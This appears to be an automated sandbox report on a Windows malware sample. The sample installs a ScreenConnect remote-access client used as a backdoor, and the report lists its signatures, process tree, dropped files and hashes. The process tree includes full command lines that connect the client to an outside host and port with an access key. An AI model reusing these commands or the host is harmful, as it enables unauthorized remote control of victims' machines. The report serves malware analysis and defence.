Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 22:32

General

  • Target
    2026-07-29_7c4c8dba5fd7a023dbb3e179794da3f4_amadey_elex_luca-stealer_njrat_ransomhub_remcos_rhadamanthys_smoke-loader_stop.exe
  • Size 11.0MB
  • Sample260729-2f8htafh96
  • SHA256 28f988b9697d294e5994be3f23729a433c3a3bb57c23ab85919eb61df98c02c4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-29_7c4c8dba5fd7a023dbb3e179794da3f4_amadey_elex_luca-stealer_njrat_ransomhub_remcos_rhadamanthys_smoke-loader_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-29_7c4c8dba5fd7a023dbb3e179794da3f4_amadey_elex_luca-stealer_njrat_ransomhub_remcos_rhadamanthys_smoke-loader_stop.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:788
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\MSI7E4E.tmp
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:5536
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4628
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8AB66906E8664AA849C6820109FE1DDA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4792
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240748453 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2820
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:6028
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6843E30D12588DF2D4D5E89F3B2A4A18
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5532
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9C08DD21EEF6BFEC1C382D5304380F0F E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2868
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4652
    • C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=31.57.147.135&p=8041&s=68c8c15b-e38f-4b81-a62c-7e72995412c8&k=BgIAAACkAABSU0ExAAgAAAEAAQBl83JSfBTyRhSg3e6yFofDBer7WPWORFfyiZbfDkso5gbS2YAUm741VaTGb1vovPaHfj5TKMzNHQmJbot4F10sKBbOJZccfXB4hRon6mY5dCYuMXfP8JHw3TITHdGVhklzi4girbSL1zFiEyeNcpjfYeshRfjWdWbRaaeLwU3emhupbd7LgAHMUYLtJLpZFGW2AyagtqipTioeqbFxDm4PgKVe8W2v00gctZ3TweQOD4wwBQKQRXKL8wbTHm2XSvuePCzHKZQeaXKoEcfHhssCTtQjNXQeys8aqPNRFdPGgcofCd7RfOmn7rb5DyTknf3A08qOppj3afGbTxzFuGLZ&c=Master&c=&c=Survey&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:4104
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4104 -s 1336
        2⤵
        • Program crash
        PID:3132
    • C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=31.57.147.135&p=8041&s=68c8c15b-e38f-4b81-a62c-7e72995412c8&k=BgIAAACkAABSU0ExAAgAAAEAAQBl83JS%2fBTyRhSg3e6yFofDBer7WPWORF%2fyiZb%2fDkso5gbS2YAUm741VaTG%2b1vovPaH%2fj5TKMzNHQmJ%2bot4F10sKB%2bOJZcc%2fXB4hRon6mY5dCYuMXfP8JHw3TITHdGVhklzi4girbSL1zFiEyeNcpjfYeshR%2fjWdWbRaaeLwU3emhupbd7LgAHMUYLtJLpZFGW2AyagtqipTioeqbFxDm4PgKVe8W2v00gctZ3TweQOD4wwBQKQRXKL8w%2bTHm2XSvuePCzHKZQeaXKoEc%2fHhssCTtQjNXQeys8aqPNRFdPGgcofCd7RfOmn7rb5DyTkn%2f3A08qOppj3a%2fG%2bTxzFuGLZ&c=Master&c=&c=Survey&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe" "RunRole" "a60f0216-7f79-48ac-8fda-ad238add9f38" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:1504
      • C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe" "RunRole" "b4f819f7-18b8-407a-91a5-75e13cfec1f5" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:2396
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 4104 -ip 4104
      1⤵
        PID:2816

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            e59d568.rbs

            • Path C:\Config.Msi\e59d568.rbs
            • Size 214KB
            • SHA256 694968749c90019b335dc92d7153702ee50cb650e9068692502535f072325f34
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (ce3cd54b7ae584d6)\system.config
            • Size 947B
            • SHA256 59c2e26414373b583c9a9cba718ffb850e59a91ddae459b033110e0a54f995ee
            • MD5 SHA1 SHA512 TLSH

            MSI7E4E.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI7E4E.tmp
            • Size 10.7MB
            • SHA256 7c05b86b895a6a712414539c228d9ef390dc9a3f5b7e7e8199eb0973a79f104d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI86CA.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSI86CA.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSIDBFF.tmp

            • Path C:\Windows\Installer\MSIDBFF.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 dd1e0fad3cc931b247413c7cff55c822e92c1f373678e9dca7b948d17623db79
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {4969faa1-ffa3-4c52-b1af-376e728eafed}_OnDiskSnapshotProp

            • Path \??\Volume{5d76dc85-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{4969faa1-ffa3-4c52-b1af-376e728eafed}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 a978e31779df1b1cbaadfa8219b698791841fda1dc33f78ad3b1f4981f7cf9eb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/612-117-0x0000000004540000-0x0000000004581000-memory.dmp

            memory/612-114-0x0000000004240000-0x0000000004276000-memory.dmp

            memory/612-119-0x00000000047D0000-0x00000000048A5000-memory.dmp

            memory/612-110-0x00000000041F0000-0x0000000004240000-memory.dmp

            memory/612-98-0x0000000004290000-0x000000000443C000-memory.dmp

            memory/612-115-0x00000000045E0000-0x0000000004672000-memory.dmp

            memory/1504-127-0x0000000000910000-0x00000000009A8000-memory.dmp

            memory/1504-132-0x00000000029C0000-0x00000000029D8000-memory.dmp

            memory/1504-133-0x0000000002A40000-0x0000000002A58000-memory.dmp

            memory/1504-131-0x000000001BF50000-0x000000001C0D8000-memory.dmp

            memory/1504-128-0x0000000002A00000-0x0000000002A36000-memory.dmp

            memory/1504-129-0x000000001B9D0000-0x000000001BA5E000-memory.dmp

            memory/1504-130-0x000000001BC10000-0x000000001BDBC000-memory.dmp

            memory/2820-33-0x0000000006140000-0x00000000066FA000-memory.dmp

            memory/2820-20-0x0000000005650000-0x000000000567E000-memory.dmp

            memory/2820-32-0x00000000059D0000-0x0000000005B7C000-memory.dmp

            memory/2820-24-0x0000000005680000-0x000000000568A000-memory.dmp

            memory/2820-28-0x0000000005790000-0x000000000581E000-memory.dmp

            memory/4104-88-0x0000000004BC0000-0x0000000004C4E000-memory.dmp

            memory/4104-78-0x0000000002500000-0x0000000002518000-memory.dmp